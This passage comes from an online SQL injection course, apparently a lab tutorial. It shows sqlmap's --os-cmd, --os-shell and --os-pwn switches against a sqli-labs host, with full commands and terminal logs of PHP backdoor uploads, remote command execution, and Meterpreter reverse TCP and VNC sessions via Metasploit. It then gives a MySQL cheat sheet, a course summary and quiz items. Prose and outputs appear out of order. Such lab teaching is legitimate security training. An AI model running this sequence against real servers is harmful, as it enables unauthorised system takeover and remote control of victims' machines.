which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4            # As my Target system web server supports PHP 
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[11:51:33] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1         # Writable Directory is the location where the web server contents are located.
[11:51:42] [WARNING] unable to automatically parse any web server path
[11:51:42] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[11:51:43] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://192.168.56.108:80/tmpuvtbe.php
[11:51:43] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://192.168.56.108:80/tmpbgjhl.php
Here is the output of the successful execution of the command:
do you want to retrieve the command standard output? [Y/n/a]y
command standard output: 'oprekin-pc\windows-pc'
[11:51:46] [INFO] cleaning up the web files uploaded
[11:51:47] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --os-shell

OS-cmd

The --os-cmd switch can be used to execute commands on the target operating system by using the load File functionality.

Let us try executing the “whoami” command, and try to get the result in our previously used URL which consists of a GET parameter.

Use the below command, and supply a Windows command after the --os-cmd switch:

The “whoami” command displays the user, group, and privileges information for the user who is currently logged on to the local system.

On execution, it will prompt basic queries related to your Target system:

Once these are done, SQLMap tries to upload its stager and returns back with a value of the given command.

As you can notice, I have highlighted the standard output. After each operation, the uploaded web file automatically removed.

In this similar way, you can use any shell command to get Windows output.

OS-Shell

If os-cmd switch looks complicated, then, do not worry. SQLMap provides --os-shell switch, which can be used to interact with Windows shell directly.

Fire up the terminal and type the following command:

---
[12:28:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.37, PHP 5.6.39
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:28:47] [INFO] going to use a web backdoor for command execution
[12:28:47 [INFO] fingerprinting the back-end DBMS operating system
[12:28:47] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4              # As my Target system web server supports PHP 
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[12:28:53] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2          # Writable Directory is the location where the web server contents are located.
please provide a comma separate list of absolute directory paths: c:/xampp/htdocs/
[12:29:09] [WARNING] unable to automatically parse any web server path
[12:29:09] [INFO] trying to upload the file stager on 'c:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[12:29:09] [INFO] the file stager has been successfully uploadedon 'c:/xampp/htdocs/' - http://192.168.56.108:80/tmpuelfr.php
[12:29:09] [INFO] the backdoor has been successfully uploadedon 'c:/xampp/htdocs/' - http://192.168.56.108:80/tmpbyfjq.php
[12:29:09] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> 
os-shell>whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'oprekin-pc\windows-pc'
os-shell>dir
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
Volume in drive C has no label.
 Volume Serial Number is 8E39-833B

 Directory of C:\xampp\htdocs

12/14/2022  09:29 AM    <DIR>          .
12/14/2022  09:29 AM    <DIR>          ..
02/27/2017  01:36 AM             3,607 applications.html
02/27/2017  01:36 AM               177 bitnami.css
12/06/2022  09:03 AM    <DIR>          dashboard
07/16/2015  07:32 AM            30,894 favicon.ico
12/06/2022  09:03 AM    <DIR>          img
07/16/2015  07:32 AM               260 index.php
12/13/2022  02:41 AM               326 shell.php
12/06/2022  09:10 AM    <DIR>          sqli-labs-master
12/13/2022  02:34 AM                15 test.html
12/14/2022  09:03 AM               866 tmpbakgn.php
12/14/2022  08:57 AM               866 tmpbbjnz.php
12/14/2022  09:24 AM               866 tmpbgvzv.php
12/14/2022  09:11 AM               866 tmpbskql.php
12/14/2022  09:00 AM               866 tmpbvmby.php
12/14/2022  09:29 AM               866 tmpbyfjq.php
12/14/2022  09:11 AM               721 tmpuanjm.php
12/14/2022  08:57 AM               721 tmpudofe.php
12/14/2022  09:29 AM               721 tmpuelfr.php
12/14/2022  09:24 AM               721 tmpujjvb.php
12/14/2022  09:03 AM               721 tmpupera.php
12/14/2022  09:00 AM               721 tmputnnt.php
12/06/2022  09:03 AM    <DIR>          webalizer
12/06/2022  09:03 AM    <DIR>          xampp
              18 File(s)         44,801 bytes
               7 Dir(s)  101,004,169,216 bytes free
---
os-shell>
os-shell>q
[12:29:42] [INFO] cleaning up the web files uploaded
[12:29:42] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[12:29:42] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'
┌──(kali㉿kali)-[~]
└─$sudo sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=1 --os-pwn
[12:31:04] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.6.39, Apache 2.4.37
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[12:31:04] [INFO] fingerprinting the back-end DBMS operating system
[12:31:04] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1                           # Use Metasploitable Framework
[12:31:18] [INFO] going to use a web backdoor to establish the tunnel
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[12:31:28] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1        # Reverse TCP is a good choice for establishing a connection
what is the local address? [Enter for '192.168.56.101' (detected)]# No need to change LHost, LPort
which local port number do you want to use? [46983] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[12:44:17] [INFO] creation in progress ................................ done
[12:44:49] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/tmpsefuvq.exe'
[12:44:49] [INFO] shellcodeexec successfully uploaded
meterpreter > pwd
c:\xampp\htdocs
meterpreter > shell 
Process 1676 created.
Channel 1 created.
Microsoft Windows [Version 10.0.*******.***]
(c) 2019 Microsoft Corportation. All rights reserved.
C:\xampp\htdocs>
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 3
[12:44:17] [INFO] creation in progress ................................ done
[12:44:49] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/tmpsefuvq.exe'
[12:44:49] [INFO] shellcodeexec successfully uploaded
[12:44:49] [INFO] running Metasploit Framework command line interface locally, please wait..
                                   ____________
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                
 [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]                                                
 [% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%]                                                
 [% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%]                                                
 [% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%]                                                
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]                                                

       =[ metasploit v6.2.9-dev                           ]
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post       ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Display the Framework log using the 
log command, learn more with help log

[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
EXITFUNC => process
LPORT => 18860
LHOST => 192.168.56.101
DisableCourtesyShell => true
[*] Started reverse TCP handler on 192.168.56.101:18860 
[12:45:22] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait..
[*] Sending stage (401920 bytes) to 192.168.56.108
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.
[*] Session 1 created in the background.

Similar to the previous switch, it will also prompt some basic platform-related queries. Now, we need to input some basic platform-related queries.

Now we have to provide a comma separate list of absolute directory paths:

Once these are done, SQLMap tries to upload its stager and returns with an interactive shell to the web server. 

This feature of SQLMap is quite magnificent and easily allows us to get a shell.

Now, we are ready, let’s input the windows shell command.

This highlighted text of the output of the “whoami” and “dir” commands executed via os-shell. After each operation, the uploaded web file automatically removed.

Type "q" to quit the session:

Let's proceed for next switch.

OS-PWN

The --os-pwn switch of SQLMap allows the attacker to spawn an interactive command prompt, a Meterpreter session, or a Graphical user interface (VNC) session.

Its usage is quite simple, use the following command to proceed for spawn a session:

Rembember: The OS-PWN switch may not work properly with normal users, so run it with the sudo command.

Similar to the previous switch, it will also prompt some basic platform-related queries. Now, we need to input some basic platform-related queries.

Once these are done, SQLMap tries to upload its stager and returns with an interactive shell to the web server. In the end it will prompt us to choose the connection type:

Let’s start with Meterpreter

Type number 1, to create a meterpreter session. On execution SQLMap try to upload a shellcode exec file to \Temp directory.

It will automatically create a shell code and upload it to the temp directory. Once the upload was successful, it will automatically launch the msfconsole.

Now as you can notice, we have got a meterpreter session.

Let’s inject a VNC session

Type number 3, to create a meterpreter session. On execution, SQLMap tries to upload a shellcode exec file to \Temp directory and launch msfconsole.

In the end msfconsole automatically creates a VNC session.

As we can see, we have successfully managed to VNC session via SQL map.

Reading Material
Operating System Takeover, Defense & Cheat Sheets Lesson 11 of 12
In Progress

MySQL Database Penetration Testing Cheat Sheet

Structured Query Language (SQL) is a standard query language. It is commonly used with all relational databases for data definition and manipulation. All the relational systems support SQL, thus allowing migration of database from one DBMS to another. 

According to WikiMySQL is an open-source relational database management system. Its name is a combination of "My", the name of co-founder Michael Widenius's daughter My, and "SQL", the acronym for Structured Query Language.

Connect to MySQL

To Start Working with MySQL, first you will need to establish a connection:

****@ts:~$mysql -u root -p
Enter password:                       

If you didn’t set a password for your MySQL root user, you omit the -p switch or just hit enter:

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

Create a New User Account

To Create a new user, run the following command:

mysql> CREATE USER 'username'@'localhost' IDENTIFIED BY 'password';

Change the username and password according to yours.

Delete the User's Account

If you need to delete a user, use the following command:

mysql> DROP USER 'username'@'localhost';

Change the username and password according to yours.

Grant Permission to User Account

To check the user privileges, use the following command:

mysql>SHOW GRANTS FOR 'username'@'localhost';
+-----------------------------------------------------------------------------------------------------------------+
| Grants for username@localhost                                                                                   |
+-----------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'username'@'localhost' IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19' | 
+-----------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>

The user "username" has only usage permissions. To grant all privileges use the following command:

mysql> GRANT ALL on *.* to 'username'@'localhost';
mysql> SHOW GRANTS FOR 'username'@'localhost';
+--------------------------------------------------------------------------------------------------------------------------+
| Grants for username@localhost                                                                                            |
+--------------------------------------------------------------------------------------------------------------------------+
|GRANT ALL PRIVILEGESON *.* TO 'username'@'localhost' IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19' | 
+--------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>

Now the user 'username' have all privileges.

Create a New Database 

To create a new database, use the following command:

mysql> CREATE DATABASEdb_name;

Change the db_name according to yours.

You can list all your databases with this command: 

mysql>SHOW DATABASES;

Delete a MySQL Database

To remove a database use the following command:

mysql> DROP DATABASE db_name;

Import Data From A Sample MySQL database

After a lot of search I got a Sample MySQL Database: 

(GitHub Link)

Download and extract the zip file:

****@ts:~$ cd test_db
****@ts:~/test_db$ ls
Changelog                      load_departments.dump   load_salaries2.dump  sakila                  test_versions.sh
employees_partitioned_5.1.sql  load_dept_emp.dump      load_salaries3.dump  show_elapsed.sql
employees_partitioned.sql     load_dept_manager.dump  load_titles.dump     sql_test.sh
employees.sql                 load_employees.dump     objects.sql          test_employees_md5.sql
images                         load_salaries1.dump     README.md            test_employees_sha.sql
****@ts:~/test_db$ 

Now use following command to import SQL database:

mysql -uusername-p <employees.sql 

If you want to install with two large partitioned tables, then use following command:

mysql -uusername-p <employees_partitioned.sql 

Once the database is created You can perform essential MySQL commands:

  • SELECT                : Used to choose specific data from your database
  • INSERT  INTO     :  Inserts new data into a database
  • UPDATE               : Update data in your database
  • DELETE               : Deletes data from your database
  • CREATE TABLE  : Create a new table in a database
  • DROP TABLE       : Remove a table
  • INDEX
    • CREATE INDEX : create an index (search key for all the info stored) 
    • DROP INDEX      : delete an index
  • ALTER DATABASE : Modify an existing database

Show Databases

Run the following command after importing the test_db database:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema | 
| challenges         | 
|employees         | 
| mysql              | 
+--------------------+
10 rows in set (0.00 sec)

mysql>

The newly created database is employees. Now, use this database using following command:

mysql>use employees;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql>

To show all Tables inside this Database Use the following command:

mysql>SHOW TABLES;
+----------------------+
| Tables_in_employees  |
+----------------------+
| current_dept_emp     | 
| departments          | 
| dept_emp             | 
| dept_emp_latest_date | 
| dept_manager         | 
| employees            | 
| salaries             | 
| titles               | 
+----------------------+
8 rows in set (0.00 sec)

mysql> 

There are 8 rows in a Table, use the following command to select all data from a table:

SELECT * FROM<table_name>;

******This cheat sheet is not yet completed. Please comment below to improve this cheat sheet.

Operating System Takeover, Defense & Cheat Sheets Lesson 12 of 12
In Progress

SQLMap Summary, Mitigation Strategies & Parameterized Queries

SQLMap contains a large list of switches, and it is not easy to explain each of them, but I tried my best to explain the most used switches. 

In this section, we will take an overview of what we have covered.

  • The first topic covers, a brief Introduction to SQLMap, and we have also noted down installation Steps for major Operating systems like Windows and Linux.
  • In our second topic, we have demonstrated the first test bed to exploit SQL injection flaws. This section also covered Injection Techniques.
  • The 3rd topic contains, the way of dumping the data from the database. This section also contains, Interacting with the wizard.
  • In the 4th section, we have covered four types of optimization techniques and also tested them in a Blind and Time-based scenario.
  • The 5th topic covered, the way of reading and writing files from the file system. This is an important topic, but I explain it most thoroughly.
  • The 6th topic is handling injections in POST requests, where we have overlooked the steps to exploit a POST request scenario.
  • The 7th topic covered the three switches used to take over the operating system. Each of them is mentioned separately.
  • The 8th topic, “Bypassing Web Application Firewall using Tamper Script”, is where we have listed the way to bypass a firewall using a Tamper script. This topic is only for example, but, in reality, it is not that simple.

I hope you all have finished the complete SQLMap series. In the coming days, we will be going to upload some other videos to explain SQL Injection.

SQL Injection Fundamentals & Lab Setup Quiz

SQLi Fundamentals & Mechanics Quiz

3 questions • Test your knowledge

Question 1
What is the root cause of SQL Injection vulnerabilities in dynamic web applications?
Question 2
Which SQL operator is used in Union-Based SQL Injection to combine results from the original query with attacker-crafted queries?
Question 3
In a Blind SQL Injection scenario where no error or query data is displayed on the page, how can an attacker infer information?
Automated Testing with SQLMap: Detection & Data Dumping Quiz

SQLMap Basics & Data Dumping Quiz

3 questions • Test your knowledge

Question 1
Which command flag in SQLMap is used to specify the target vulnerable URL for testing?
Question 2
Which combination of SQLMap flags will enumerate and dump the contents of all tables in the database named "users_db"?
Question 3
What flag is used in SQLMap to enumerate all available database names on the target server?
Advanced SQLMap Techniques: Optimization, POST Requests & WAF Evasion Quiz

Advanced SQLMap & WAF Evasion Quiz

3 questions • Test your knowledge

Question 1
How can you instruct SQLMap to test an HTTP POST request captured directly from Burp Suite or OWASP ZAP?
Question 2
What is the purpose of SQLMap "Tamper Scripts" (`--tamper`)?
Question 3
Which SQLMap flag allows running multiple concurrent HTTP requests to drastically accelerate blind data extraction?
Operating System Takeover, Defense & Cheat Sheets Quiz

OS Takeover & Remediation Quiz

2 questions • Test your knowledge

Question 1
What condition is required for SQLMap's `--os-shell` feature to successfully spawn a command-line shell on the database server?
Question 2
What is the industry-standard, foolproof defense to prevent SQL Injection in application source code?
High-Resolution Preview